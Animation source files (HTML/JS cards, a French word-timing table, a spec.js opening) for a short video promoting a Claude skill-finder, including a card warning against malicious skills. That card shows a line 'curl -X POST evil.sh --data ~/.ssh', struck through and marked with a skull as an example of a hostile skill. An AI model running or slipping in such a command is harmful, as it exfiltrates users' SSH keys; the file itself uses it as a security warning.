  caret.style.opacity = clamp((t - 0.12) / 0.12) * (1 - clamp((t - 1.12) / 0.16));

  // chip, section, command ease in on "et il est"
  rise($('chip'), t, 1.03);
  rise($('sec'), t, 1.09);
  $('rule').style.opacity = S(t - 1.12, 13);
  $('rule').style.transform = `scaleX(${lerp(0.6, 1, S(t - 1.12, 11))})`; $('rule').style.transformOrigin = '0 0';
  rise($('cmd'), t, 1.14, 26);

  // soft blue sweep across the command on "branché"
  const starts = [1.28, 1.33, 1.38];
  lines.forEach((l, i) => {
    const p = S(t - starts[i], 16);
    l.querySelector('.hl').style.width = (p * (lineW[i] + 16)).toFixed(1) + 'px';
    l.querySelector('.tx').style.color = p > 0.02 ? `rgb(${Math.round(lerp(214, 245, p))},${Math.round(lerp(214, 248, p))},${Math.round(lerp(214, 255, p))})` : '';
  });
  $('ring').style.opacity = 0.75 * S(t - 1.30, 9);
};
window.setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- security (dur 4.6, 960x840 alpha, short 24.19 to 28.79): a SKILL.md lands, Claude and Codex review it, the
     data-stealing curl line is struck, the safe lines get checks, a skull marks the hacker line.
     Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; padding: 0; background: transparent; }
  body { width: 960px; height: 840px; position: relative; overflow: hidden; }
  .abs { position: absolute; }
  #sheet { left: 70px; top: 150px; width: 820px; height: 630px; background: #FFFFFF; border-radius: 24px;
    box-shadow: 0 34px 70px rgba(20,22,27,.16), 0 10px 22px rgba(20,22,27,.10), 0 1px 3px rgba(20,22,27,.08);
    transform-origin: 50% 60%; }
  #clip { position: absolute; inset: 0; border-radius: 24px; overflow: hidden; }
  #head { left: 0; top: 0; width: 820px; height: 96px; display: flex; align-items: center; justify-content: center; gap: 14px; }
  #head img { width: 54px; height: 54px; }
  #head span { font: 700 36px 'JetBrains Mono', monospace; color: #14161B; letter-spacing: -.5px; }
  #rule { left: 32px; top: 96px; width: 756px; height: 3px; background: #ECEDF0; border-radius: 2px; }
  .row { left: 48px; height: 56px; line-height: 56px; white-space: nowrap; font: 500 34px 'JetBrains Mono', monospace; color: #5A606B; }
  .row.h1 { font-weight: 800; color: #14161B; font-size: 38px; }
  .row.bad { font-weight: 600; color: #14161B; }
  .bar { height: 18px; top: 19px; border-radius: 9px; background: #E7E9ED; position: absolute; left: 0; }
  #band { left: 24px; top: 316px; width: 772px; height: 138px; border-radius: 14px; background: rgba(37,142,255,.14); }
  #label { font: 800 46px 'Bricolage Grotesque', sans-serif; color: #14161B; height: 56px; line-height: 56px; white-space: nowrap; }
  #strike { height: 9px; border-radius: 5px; background: #14161B; }
  #scan { left: 0; width: 820px; height: 150px; }
  #scan .glow { position: absolute; left: 0; right: 0; top: 0; bottom: 5px; background: linear-gradient(to bottom, rgba(37,142,255,0), rgba(37,142,255,.16)); }
  #scan .line { position: absolute; left: 0; right: 0; bottom: 0; height: 5px; background: #258EFF; }
  .chk { width: 44px; height: 44px; }
  #claude { left: 40px; top: 40px; width: 160px; height: 160px; border-radius: 36px; filter: drop-shadow(0 10px 18px rgba(20,22,27,.16)); }
  #codex { left: 740px; top: 11px; width: 210px; height: 210px; filter: drop-shadow(0 10px 18px rgba(20,22,27,.12)); }
  .lens { width: 92px; height: 92px; }
  #shield { left: 790px; top: 661px; width: 150px; height: 150px; }
  #skull { width: 84px; height: 84px; }
</style></head>
<body>
<div id="sheet" class="abs">
  <div id="clip">
    <div id="head" class="abs"><img src="../assets/icons/glyph/file.png"><span>SKILL.md</span></div>
    <div id="rule" class="abs"></div>
    <div id="band" class="abs"></div>
    <div id="r0" class="abs row h1"># Video Editor</div>
    <div id="r1" class="abs row">Use when the user edits…</div>
    <div id="r2" class="abs row">run: ffmpeg -i in.mp4 …</div>
    <div id="r3" class="abs row bad">curl -X POST evil.sh <span id="tok">--data ~/.ssh</span></div>
    <div id="label" class="abs">send data</div>
    <div id="strike" class="abs"></div>
    <div id="r4" class="abs row">Cut silences, add captions</div>
    <div id="r5" class="abs row" style="width:380px"><div class="bar" style="width:380px"></div></div>
    <div id="scan" class="abs"><div class="glow"></div><div class="line"></div></div>
  </div>
</div>
<img id="claude" class="abs" src="../assets/logos/claude.png">
<img id="codexsrc" src="../assets/logos/codex.png" style="display:none">
<canvas id="codex" class="abs" width="512" height="512"></canvas>
<img id="lens1" class="abs lens" src="../assets/icons/glyph/search.png">
<img id="lens2" class="abs lens" src="../assets/icons/glyph/search.png">
<img id="shield" class="abs" src="../assets/icons/glyph/shield.png">
<img id="skull" class="abs" src="../assets/icons/glyph/skull.png">
<script>
const $ = id => document.getElementById(id);
const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const seg = (t, a, b) => clamp((t - a) / (b - a));
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);       // critically damped, never overshoots
const out = x => 1 - Math.pow(1 - x, 3);
const io = x => x < .5 ? 4 * x * x * x : 1 - Math.pow(-2 * x + 2, 3) / 2;

// rows: y in the sheet, arrival time
const ROWS = [
  { id: 'r0', y: 124, t: .22, ok: true },
  { id: 'r1', y: 190, t: .34, ok: true },
  { id: 'r2', y: 256, t: .46, ok: true },
  { id: 'r3', y: 322, t: .58, ok: false },
  { id: 'r4', y: 470, t: .70, ok: true },
  { id: 'r5', y: 536, t: .82, ok: true },
];
const T_LABEL = 1.11, T_SCAN0 = 1.83, T_SCAN1 = 2.6, T_CLAUDE = 2.33, T_CODEX = 2.58,
  T_BAND = 3.04, T_STRIKE0 = 3.10, T_STRIKE1 = 3.35, T_SAFE = 3.54, T_SKULL = 4.17;
const LABEL_Y = 390;

const NS = 'http://www.w3.org/2000/svg';

// the Codex logo file has an opaque white square: flood-fill the white connected to the border away (the white ">_"
// inside the cloud stays), with a soft un-blended rim, drawn into a canvas so no async image decode happens in setT
function keyCodex() {
  const c = $('codex'), x = c.getContext('2d'), W = 512;
  x.drawImage($('codexsrc'), 0, 0, W, W);
  const im = x.getImageData(0, 0, W, W), d = im.data, bg = new Uint8Array(W * W), q = [];
  const white = i => { const r = d[i * 4], g = d[i * 4 + 1], b = d[i * 4 + 2]; return Math.min(r, g, b) >= 236 && Math.max(r, g, b) - Math.min(r, g, b) < 14; };
  for (let k = 0; k < W; k++) for (const i of [k, (W - 1) * W + k, k * W, k * W + W - 1]) if (!bg[i] && white(i)) { bg[i] = 1; q.push(i); }
  while (q.length) {
    const i = q.pop(), px = i % W, py = (i / W) | 0;
    for (const [dx, dy] of [[1, 0], [-1, 0], [0, 1], [0, -1]]) {
      const nx = px + dx, ny = py + dy; if (nx < 0 || ny < 0 || nx >= W || ny >= W) continue;
      const j = ny * W + nx; if (!bg[j] && white(j)) { bg[j] = 1; q.push(j); }
    }
  }
  for (let i = 0; i < W * W; i++) {
    if (bg[i]) { d[i * 4 + 3] = 0; continue; }
    const px = i % W, py = (i / W) | 0; let near = false;
    for (let dy = -3; dy <= 3 && !near; dy++) for (let dx = -3; dx <= 3; dx++) {
      const nx = px + dx, ny = py + dy; if (nx >= 0 && ny >= 0 && nx < W && ny < W && bg[ny * W + nx]) { near = true; break; }
    }
    if (!near) continue;
    const m = Math.min(d[i * 4], d[i * 4 + 1], d[i * 4 + 2]), a = clamp((255 - m) / 70, .02, 1);
    for (let ch = 0; ch < 3; ch++) d[i * 4 + ch] = clamp((d[i * 4 + ch] - (1 - a) * 255) / a, 0, 255);
    d[i * 4 + 3] = Math.round(a * 255);
  }
  x.putImageData(im, 0, 0);
}
let geo = null;
function measure() {
  keyCodex();
  ROWS.forEach(r => { $(r.id).style.top = r.y + 'px'; });
  // the label sits under "--data ~/.ssh"
  const tok = $('tok'), r3 = $('r3');
  const lx = 48 + tok.offsetLeft;
  $('label').style.left = lx + 'px'; $('label').style.top = LABEL_Y + 'px';
  const lw = $('label').offsetWidth;
  const st = { x: lx - 12, w: lw + 24, y: LABEL_Y + 56 * .5 - 1 };
  $('strike').style.left = st.x + 'px'; $('strike').style.top = st.y + 'px';
  $('skull').style.left = (70 + lx + lw + 26) + 'px'; $('skull').style.top = (150 + LABEL_Y + 28 - 42) + 'px';
  // one drawn blue check per safe row, right after its text
  const checks = ROWS.filter(r => r.ok).map((r, k) => {
    const el = $(r.id), w = el.id === 'r5' ? 380 : el.scrollWidth;
    const s = document.createElementNS(NS, 'svg'); s.setAttribute('class', 'abs chk'); s.setAttribute('viewBox', '0 0 44 44');
    const p = document.createElementNS(NS, 'path'); p.setAttribute('d', 'M 8 23 L 18 33 L 37 12');
    p.setAttribute('fill', 'none'); p.setAttribute('stroke', '#258EFF'); p.setAttribute('stroke-width', 7);
    p.setAttribute('stroke-linecap', 'round'); p.setAttribute('stroke-linejoin', 'round');
    s.appendChild(p); $('clip').appendChild(s);
    s.style.left = (48 + w + 22) + 'px'; s.style.top = (r.y + 6) + 'px';
    const len = p.getTotalLength(); p.setAttribute('stroke-dasharray', len);
    return { s, p, len, t: T_SAFE + k * .06 };
  });
  // lenses: one at Claude's lower right, one at Codex's lower left
  $('lens1').style.left = '168px'; $('lens1').style.top = '128px';
  $('lens2').style.left = '700px'; $('lens2').style.top = '128px';
  return { st, checks };
}

function enter(el, t0, { dy = 0, dx = 0, s0 = 1, w = 13, fade = .18, origin } = {}) {
  const q = S(t - t0, w);
  el.style.opacity = clamp((t - t0) / fade);
  el.style.transform = `translate(${dx * (1 - q)}px, ${dy * (1 - q)}px) scale(${s0 + (1 - s0) * q})`;
  if (origin) el.style.transformOrigin = origin;
}
let t = 0;
window.setT = function (tt) {
  t = tt;
  if (!geo) geo = measure();

  // sheet lands
  const qs = S(t, 11);
  $('sheet').style.opacity = clamp(t / .2);
  $('sheet').style.transform = `translateY(${70 * (1 - qs)}px) scale(${.94 + .06 * qs})`;

  // rows rise in, staggered
  ROWS.forEach(r => enter($(r.id), r.t, { dy: 18, w: 14 }));
  enter($('label'), T_LABEL, { dy: 14, w: 14 });

  // scan line sweeps the document top to bottom
  const ps = io(seg(t, T_SCAN0, T_SCAN1));
  const sc = $('scan');
  sc.style.top = (-150 + ps * (630 + 150)) + 'px';
  sc.style.opacity = t < T_SCAN0 || t > T_SCAN1 + .02 ? 0 : Math.min(seg(t, T_SCAN0, T_SCAN0 + .08), 1 - seg(t, T_SCAN1 - .1, T_SCAN1));

  // reviewers
  enter($('claude'), T_CLAUDE, { dy: -26, s0: .9, w: 13, origin: '50% 50%' });
  enter($('lens1'), T_CLAUDE + .1, { dx: -14, dy: -14, s0: .85, w: 13, origin: '30% 30%' });
  enter($('codex'), T_CODEX, { dy: -26, s0: .9, w: 13, origin: '50% 50%' });
  enter($('lens2'), T_CODEX + .1, { dx: 14, dy: -14, s0: .85, w: 13, origin: '30% 30%' });

  // highlight band wipes left to right, then the ink strike
  const pb = out(seg(t, T_BAND, T_BAND + .2));
  $('band').style.opacity = pb > 0 ? 1 : 0;
  $('band').style.clipPath = `inset(0 ${(100 * (1 - pb)).toFixed(2)}% 0 0 round 14px)`;
  const pk = out(seg(t, T_STRIKE0, T_STRIKE1));
  $('strike').style.width = (geo.st.w * pk) + 'px';
  $('strike').style.opacity = pk > 0 ? 1 : 0;

  // safe lines: checks drawn in a quick stagger; shield lands bottom right
  geo.checks.forEach(c => {
    const p = out(seg(t, c.t, c.t + .2));
    c.s.style.opacity = p > 0 ? 1 : 0;
    c.p.setAttribute('stroke-dashoffset', c.len * (1 - p));
  });
  enter($('shield'), T_SAFE + .08, { dy: 26, s0: .86, w: 12, origin: '50% 60%' });

  // hackers: skull next to the struck line
  enter($('skull'), T_SKULL, { dy: 16, s0: .82, w: 13, origin: '50% 50%' });
};

</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Beat: "Et il te donne juste pas une liste, il l'installe lui-même, le bon skill, à ta place."
     The real Claude Code terminal: a session already open with a dim list of 3 skills (struck away on "liste"),
     then a Bash tool call types `npx skills add heygen-com/hyperframes --skill hyperframes` ("l'installe"),
     the orange spinner runs, the result lands ("bon skill") with a big blue check ("skill"), Claude answers ("à ta place").
     Opaque 960x840 card. Every state is a pure function of t in window.setT(t). Duration 3.0 s. -->
<style>
  html, body { margin: 0; background: #1E1E1E; }
  body { width: 960px; height: 840px; overflow: hidden; -webkit-font-smoothing: antialiased; position: relative; }
  #bar { position: absolute; left: 0; top: 0; width: 960px; height: 68px; background: #2A2A2A; border-bottom: 1.5px solid #111; box-sizing: border-box; }
  .tl { position: absolute; top: 23px; width: 22px; height: 22px; border-radius: 50%; }
  #title { position: absolute; left: 0; right: 0; top: 0; height: 68px; display: flex; align-items: center; justify-content: center; gap: 12px;
    font-family: "JetBrains Mono"; font-weight: 600; font-size: 34px; color: #8E8E8E; }
  #title img { width: 36px; height: 36px; border-radius: 9px; display: block; }
  #view { position: absolute; left: 0; top: 68px; width: 960px; height: 656px; overflow: hidden; }
  #fade { position: absolute; left: 0; top: 68px; width: 960px; height: 22px; background: linear-gradient(#1E1E1E, rgba(30,30,30,0)); }
  #doc { position: absolute; left: 0; top: 0; width: 960px; }
  .ln { position: absolute; left: 40px; width: 880px; font-family: "JetBrains Mono"; font-size: 38px; line-height: 56px; height: 56px;
    white-space: pre; color: #ECECEC; }
  .dim { color: #8E8E8E; }
  .b { font-weight: 800; }
  .dot { display: inline-block; width: 1ch; height: 56px; vertical-align: top; position: relative; }
  .dot::before { content: ""; position: absolute; left: 50%; top: 50%; width: 20px; height: 20px; margin: -10px 0 0 -10px; border-radius: 50%; background: var(--c, #ECECEC); }
  .elbow { display: inline-block; width: 1ch; height: 56px; vertical-align: top; position: relative; }
  .elbow::before { content: ""; position: absolute; left: 6px; top: 6px; width: 14px; height: 22px; border-left: 3px solid #6E6E6E; border-bottom: 3px solid #6E6E6E; }
  #welcome { position: absolute; left: 40px; width: 880px; height: 152px; box-sizing: border-box; border: 2.5px solid #D97757; border-radius: 14px; }
  #welcome .ln { left: 26px; }
  .strike { position: absolute; height: 3px; top: 28px; background: #9A9A9A; border-radius: 2px; transform-origin: 0 50%; }
  #spin { color: #D97757; }
  #spin .g { display: inline-block; width: 1ch; text-align: center; }
  #input { position: absolute; left: 40px; top: 724px; width: 880px; height: 76px; box-sizing: border-box; border: 2px solid #4A4A4A; border-radius: 12px; }
  #input .ln { left: 20px; top: 8px; color: #8E8E8E; }
  .caret { display: inline-block; width: 22px; height: 44px; background: #CFCFCF; vertical-align: -10px; }
  #chk { position: absolute; width: 168px; height: 168px; }
  #chk i { position: absolute; left: 13px; top: 13px; width: 142px; height: 142px; border-radius: 50%; background: #FFFFFF; }
  #chk img { position: absolute; left: 0; top: 0; width: 168px; height: 168px; display: block; }
  .hi { font-weight: 800; }
</style></head>
<body>
  <div id="bar">
    <i class="tl" style="left:26px; background:#FF5F57"></i>
    <i class="tl" style="left:62px; background:#FEBC2E"></i>
    <i class="tl" style="left:98px; background:#28C840"></i>
    <div id="title"><img src="../assets/logos/claude.png">claude</div>
  </div>
  <div id="view"><div id="doc">
    <div id="welcome">
      <div class="ln" style="top:18px"><span style="color:#D97757">✻</span> <span class="b">Welcome to Claude Code!</span></div>
      <div class="ln dim" style="top:74px">  cwd: ~/ma-video</div>
    </div>
    <div class="ln dim" id="ask">&gt; trouve un skill pour mes vidéos</div>
    <div class="ln" id="h0"><span class="dot"></span> <span id="h0t">Voici 3 skills possibles :</span></div>
    <div class="ln dim" id="i0">  1. remotion-video</div>
    <div class="ln dim" id="i1">  2. ffmpeg-tools</div>
    <div class="ln dim" id="i2">  3. video-captions</div>
    <i class="strike" id="s0"></i><i class="strike" id="s1"></i><i class="strike" id="s2"></i>
    <div class="ln" id="c0"></div>
    <div class="ln" id="c1"></div>
    <div class="ln" id="c2"></div>
    <div class="ln" id="spin"><span class="g" id="sg">✻</span> Installing… <span class="dim">(esc to interrupt)</span></div>
    <div class="ln" id="r0"><span class="dim">  </span><span class="elbow"></span>  <span style="color:#4EBA65">✓</span> Installed <span class="hi" id="hw">hyperframes</span></div>
    <div class="ln dim" id="r1">       to ~/.claude/skills</div>
    <div id="chk"><i></i><img src="../assets/icons/glyph/check.png"></div>
    <div class="ln" id="m0"></div>
    <div class="ln" id="m1"></div>
  </div></div>
  <div id="fade"></div>
  <div id="input"><div class="ln">&gt; <i class="caret"></i></div></div>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const mix = (a, b, k) => a.map((v, i) => Math.round(v + (b[i] - v) * k));
const LH = 56, CH = 38 * 0.6, GAP = 26;

// document layout (y inside #doc)
let y = 26;
const Y = {};
Y.welcome = y; y += 152 + GAP;
Y.ask = y; y += LH + GAP * .6;
Y.h0 = y; y += LH;
Y.i0 = y; y += LH; Y.i1 = y; y += LH; Y.i2 = y; y += LH + GAP;
Y.c0 = y; y += LH; Y.c1 = y; y += LH; Y.c2 = y; y += LH;
Y.spin = y; Y.r0 = y; y += LH; Y.r1 = y; y += LH + GAP;
Y.m0 = y; y += LH; Y.m1 = y; y += LH;
$('welcome').style.top = Y.welcome + 'px';
for (const k of ['ask', 'h0', 'i0', 'i1', 'i2', 'c0', 'c1', 'c2', 'spin', 'r0', 'r1', 'm0', 'm1']) $(k).style.top = Y[k] + 'px';
['i0', 'i1', 'i2'].forEach((k, i) => {   // strike under each skill name (from col 5 to the end of the name)
  const len = $(k).textContent.length, s = $('s' + i);
  s.style.left = (40 + 5 * CH - 6) + 'px'; s.style.width = ((len - 5) * CH + 12) + 'px'; s.style.top = (Y[k] + 29) + 'px';
});
// big check at the right of the result rows
$('chk').style.left = (960 - 40 - 168) + 'px'; $('chk').style.top = (Y.r0 + LH - 84) + 'px';

// scroll: the transcript bottom stays 20 px above the input box (view height 640, input top 724 - 68 = 656)
const VIEW_B = 636;
const bottomAt = [ [1.06, Y.c2 + LH], [1.56, Y.spin + LH], [2.07, Y.r1 + LH], [2.56, Y.m1 + LH] ];
let cur = Math.max(0, Y.i2 + LH - VIEW_B);
const SCR = bottomAt.map(([t0, b], i) => { let tgt = Math.max(cur, b - VIEW_B); if (i === bottomAt.length - 1) tgt = Math.max(tgt, Y.i0); const d = tgt - cur; cur = tgt; return [t0, d]; });

const enter = (el, t0, w = 18, dy = 14) => {   // eased fade + rise, never overshoots
  const p = S(t - t0, w); el.style.opacity = t < t0 ? 0 : cl(p * 1.25); el.style.transform = `translateY(${(1 - p) * dy}px)`;
};
let t = 0;
const CMD = ['npx skills add', 'heygen-com/hyperframes', '--skill hyperframes'];
const MSG = ["Skill installé, je l'utilise", 'pour ta vidéo.'];
const typed = (lines, n) => { const out = []; for (const s of lines) { out.push(s.slice(0, Math.max(0, n))); n -= s.length + 1; } return out; };
const SPIN = ['·', '✢', '✳', '✶', '✻', '✽'];

window.setT = function (tt) {
  t = tt;
  // scroll
  let sc = SCR.reduce((a, [t0, d]) => a + d * S(t - t0, 17), Math.max(0, Y.i2 + LH - VIEW_B));
  $('doc').style.transform = `translateY(${-sc}px)`;

  // .76 "liste": the list dims and gets struck through, one line after the other
  const dk = S(t - .76, 12);
  $('h0t').style.color = `rgb(${mix([236, 236, 236], [120, 120, 120], dk).join(',')})`;
  ['i0', 'i1', 'i2'].forEach((k, i) => {
    const p = S(t - .76 - i * .06, 16);
    $(k).style.opacity = 1 - .55 * p;
    const s = $('s' + i); s.style.transform = `scaleX(${p})`; s.style.opacity = t < .76 + i * .06 ? 0 : .9 - .3 * p;
  });

  // 1.10 "l'installe": the Bash tool call, the command types fast (1.10 to 1.55)
  const nC = CMD.join(' ').length, n = Math.round(nC * cl((t - 1.12) / .43)), tc = typed(CMD, n);
  const done = S(t - 2.15, 16), dotC = mix([142, 142, 142], [78, 186, 101], done);
  $('c0').innerHTML = `<span class="dot" style="--c:rgb(${dotC.join(',')})"></span> <span class="b">Bash</span>(${tc[0]}`;
  $('c1').textContent = '       ' + tc[1];
  $('c2').textContent = '       ' + tc[2] + (n >= nC ? ')' : '');
  enter($('c0'), 1.10, 20, 16);
  $('c1').style.opacity = tc[1].length ? 1 : 0; $('c2').style.opacity = tc[2].length ? 1 : 0;

  // 1.60 to 2.10: the orange spinner (glyph cycles every 0.1 s), gone when the result lands
  const sp = $('spin');
  const sIn = S(t - 1.60, 22), sOut = cl((t - 2.08) / .1);
  sp.style.opacity = t < 1.60 ? 0 : cl(sIn * 1.3) * (1 - sOut);
  sp.style.transform = `translateY(${(1 - sIn) * 12}px)`;
  $('sg').textContent = SPIN[Math.max(0, Math.floor((t - 1.60) / .1)) % SPIN.length];

  // 2.15 "bon skill": the result, then 2.27 "skill": the big blue check lands, "hyperframes" goes blue
  enter($('r0'), 2.15, 20, 14); enter($('r1'), 2.21, 20, 14);
  const hb = S(t - 2.27, 16);
  $('hw').style.color = `rgb(${mix([236, 236, 236], [37, 142, 255], hb).join(',')})`;
  const ck = S(t - 2.17, 20), k = $('chk');
  k.style.opacity = t < 2.17 ? 0 : cl(ck * 1.6);
  k.style.transform = `translateY(${(1 - ck) * -26}px) scale(${.62 + .38 * ck})`;

  // 2.60 to 2.95 "à ta place": Claude's answer types in
  const mC = MSG.join(' ').length, m = Math.round(mC * cl((t - 2.62) / .26)), tm = typed(MSG, m);
  $('m0').innerHTML = `<span class="dot"></span> ${tm[0]}`;
  $('m1').textContent = '  ' + tm[1];
  enter($('m0'), 2.60, 22, 12);
  $('m1').style.opacity = tm[1].length ? 1 : 0;
};
window.setT(0);
</script>
</body></html>

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 34.14s (source 57.13s, 43 keeps)

| src | short | word |
|---|---|---|
| 3.36 | 0.02 | Quelqu'un |
| 3.68 | 0.30 | a |
| 3.76 | 0.37 | créé |
| 3.98 | 0.56 | le |
| 4.14 | 0.67 | meilleur |
| 4.46 | 0.92 | skill |
| 4.82 | 1.18 | Claude |
| 5.10 | 1.42 | que |
| 5.20 | 1.51 | j'ai |
| 5.36 | 1.65 | jamais |
| 5.64 | 1.89 | vu |
| 5.90 | 2.06 | et |
| 6.02 | 2.16 | presque |
| 6.46 | 2.54 | personne |
| 6.90 | 2.93 | ne |
| 7.00 | 3.01 | l'utilise. |
| 7.88 | 3.52 | Ça |
| 8.00 | 3.62 | s'appelle |
| 8.58 | 3.95 | Find |
| 8.90 | 4.23 | Skill |
| 9.26 | 4.52 | et |
| 9.36 | 4.60 | il |
| 9.44 | 4.67 | est |
| 9.60 | 4.81 | branché |
| 10.06 | 5.18 | sur |
| 10.24 | 5.34 | une |
| 10.42 | 5.50 | bibliothèque |
| 11.06 | 6.02 | de |
| 11.26 | 6.14 | plus |
| 11.50 | 6.35 | d'un |
| 11.76 | 6.57 | million |
| 12.20 | 6.96 | de |
| 12.34 | 7.08 | skills |
| 12.72 | 7.38 | Claude. |
| 15.20 | 7.68 | donc, |
| 15.38 | 7.84 | tu |
| 15.50 | 7.94 | récupères |
| 16.00 | 8.38 | direct |
| 16.32 | 8.65 | celui |
| 16.56 | 8.86 | dont |
| 16.74 | 9.02 | t'as |
| 16.92 | 9.18 | besoin. |
| 17.60 | 9.54 | Tu |
| 17.72 | 9.64 | lui |
| 17.88 | 9.78 | dis |
| 18.06 | 9.94 | juste |
| 18.40 | 10.23 | sur |
| 18.62 | 10.42 | quoi |
| 18.86 | 10.63 | tu |
| 19.00 | 10.75 | bosses, |
| 19.30 | 11.01 | genre |
| 19.58 | 11.26 | monter |
| 19.88 | 11.52 | tes |
| 20.04 | 11.66 | vidéos |
| 20.46 | 12.02 | ou |
| 20.60 | 12.14 | écrire |
| 20.88 | 12.39 | tes |
| 21.06 | 12.54 | emails |
| 21.68 | 13.08 | et |
| 21.76 | 13.15 | il |
| 21.92 | 13.26 | te |
| 22.12 | 13.41 | sort |
| 22.32 | 13.58 | le |
| 22.46 | 13.70 | meilleur |
| 22.76 | 13.96 | skill |
| 23.08 | 14.24 | pour |
| 23.26 | 14.40 | ça. |
| 23.74 | 14.59 | Et |
| 23.80 | 14.64 | il |
| 23.90 | 14.72 | te |
| 24.02 | 14.83 | donne |
| 24.22 | 15.00 | juste |
| 24.40 | 15.10 | pas |
| 24.52 | 15.21 | une |
| 24.68 | 15.35 | liste, |
| 25.10 | 15.62 | il |
| 25.22 | 15.73 | l'installe |
| 25.74 | 16.18 | lui-même, |
| 26.30 | 16.55 | le |
| 26.46 | 16.69 | bon |
| 26.66 | 16.86 | skill, |
| 27.20 | 17.13 | à |
| 27.32 | 17.21 | ta |
| 27.46 | 17.33 | place. |
| 37.28 | 17.58 | Et |
| 37.38 | 17.66 | le |
| 37.52 | 17.79 | plus |
| 37.70 | 17.94 | fou, |
| 37.90 | 18.09 | c'est |
| 38.08 | 18.24 | que |
| 38.50 | 18.41 | c'est |
| 38.64 | 18.53 | le |
| 38.78 | 18.65 | skill |
| 39.14 | 18.96 | numéro |
| 39.64 | 19.40 | un |
| 39.78 | 19.52 | de |
| 40.10 | 19.62 | tout |
| 40.30 | 19.80 | le |
| 40.46 | 19.94 | site |
| 40.80 | 20.20 | avec |
| 41.02 | 20.32 | presque |
| 41.36 | 20.60 | quatre |
| 41.64 | 20.85 | millions |
| 41.94 | 21.11 | d'installations. |
| 42.88 | 21.69 | Donc, |
| 43.08 | 21.87 | si |
| 43.22 | 21.99 | tu |
| 43.34 | 22.09 | dois |
| 43.46 | 22.20 | installer |
| 44.02 | 22.63 | qu'un |
| 44.38 | 22.88 | seul |
| 44.64 | 23.11 | skill, |
| 45.26 | 23.41 | installe |
| 45.66 | 23.76 | celui-ci. |
| 46.32 | 24.19 | Mais |
| 46.48 | 24.33 | surtout, |
| 46.94 | 24.64 | installe |
| 47.34 | 24.99 | jamais |
| 47.58 | 25.20 | un |
| 47.70 | 25.30 | skill |
| 47.98 | 25.55 | sans |
| 48.10 | 25.65 | l'avoir |
| 48.38 | 25.87 | fait |
| 48.56 | 26.02 | relire |
| 48.88 | 26.30 | avec |
| 49.16 | 26.52 | Claude |
| 49.52 | 26.77 | Codex |
| 49.92 | 27.09 | pour |
| 50.08 | 27.23 | vérifier |
| 50.42 | 27.52 | que |
| 50.50 | 27.59 | c'est |
| 50.66 | 27.73 | safe. |
| 51.24 | 27.95 | Y |
| 51.32 | 28.02 | a |
| 51.42 | 28.10 | plein |
| 51.60 | 28.26 | de |
| 51.72 | 28.36 | hackers. |
| 52.44 | 28.79 | Tu |
| 52.54 | 28.88 | le |
| 52.62 | 28.95 | veux |
| 53.02 | 29.09 | ? |
| 53.06 | 29.13 | Commande |
| 53.46 | 29.44 | Finder |
| 53.96 | 29.88 | et |
| 54.04 | 29.95 | je |
| 54.12 | 30.02 | t'envoie |
| 54.36 | 30.23 | le |
| 54.46 | 30.31 | skill |
| 55.24 | 30.59 | du |
| 55.34 | 30.67 | moment |
| 55.58 | 30.88 | que |
| 55.68 | 30.97 | tu |
| 55.78 | 31.05 | me |
| 55.94 | 31.19 | suis. |

// Short: "Le skill Claude que personne utilise" (remake of @jackroberts___ DePtyBoAOPd, same beats): Find Skills, the skill
// that searches the skills.sh library (1M+ skills) and installs the right one for you. #1 on skills.sh, 3.8M installs.
// Style hard-cuts since review v1 (« utilise le style hard-cuts pour la vidéo entière »): the papier look edited in hard
// cuts, one shot every 1.5 to 3 s (split 1160 for the cards, full camera with dry punch-ins on the link phrases, paper alone
// for the big number and the find-skills card), a click / pop / boom kit, bare Phosphor glyphs, real logos.
// Paper components are 960x840 cards captured from source/*.html (sub-agents), the CTA is the Instagram overlay.
// All times are SOURCE seconds (files/words.md); 'o+X' = X s into the outro.
const CARD = [60, 200, 960], AR = 840 / 960;
const L = { claude: 'assets/logos/claude.png', codex: 'assets/logos/codex.png', skills: 'assets/logos/skills-sh.png' };
const G = n => `assets/icons/glyph/${n}.png`, I = n => `assets/images/${n}.png`;

// a composite card (sheet + glyph or logo + label) that moves and scales as one: the children ride the card's origin
// O and scale s (child at O + s * d), so a card can leave its grid slot and grow in the middle of the stage
function unit({ at, to, O, w, h, keys, icon, logo, label, size = 38, layout = 'col', dimAt, ringAt, pop = .8, extra = {} }) {
  const ks = keys || [[at, O, 1]];
  const pos = d => ks.map(([t, o, s]) => [t, [o[0] + s * d[0], o[1] + s * d[1]]]);
  const sc = ks.map(([t, , s]) => [t, s]);
  const base = { at, to, pop, rise: 0, slot: false, quiet: true, dimAt, scaleKeys: sc, posW: 12, ...extra };
  const dI = layout === 'col' ? [w / 2, h * .38] : [h * .5, h / 2], dT = layout === 'col' ? [w / 2, h * .78] : [h * .95, h / 2];
  return [
    { k: 'card', ...base, x: O[0], y: O[1], w, h, r: 30, ringAt, posKeys: pos([0, 0]) },
    icon ? { k: 'img', ...base, img: G(icon), s: h * .36, h: h * .36, shadow: false, x: O[0] + dI[0], y: O[1] + dI[1], posKeys: pos(dI) }
      : { k: 'logo', ...base, logo, s: h * .56, x: O[0] + dI[0], y: O[1] + dI[1], posKeys: pos(dI) },
    { k: 'text', ...base, text: label, size, align: layout === 'col' ? 'center' : 'left', x: O[0] + dT[0], y: O[1] + dT[1], posKeys: pos(dT) },
  ];
}

// C. the skills grid: 3x3 cells 290x170, the video cell (top left) leaves the grid on "celui" and lands in the middle x1.8
const GRID = [['camera', 'video'], ['envelope', 'emails'], ['ant', 'debug'], ['search', 'seo'], ['check', 'tests'],
  ['file', 'pdf'], ['pencil', 'design'], ['shield', 'sécu'], ['folder', 'fichiers']];
const cell = i => [80 + (i % 3) * 315, 300 + Math.floor(i / 3) * 195];

window.SPEC = {
  title: 'Le skill Claude que personne utilise',
  media: {
    skillsPage: { src: 'assets/skills-page.mp4', width: 960 },     // source/skills-page.html: skills.sh/vercel-labs/skills, find-skills types in
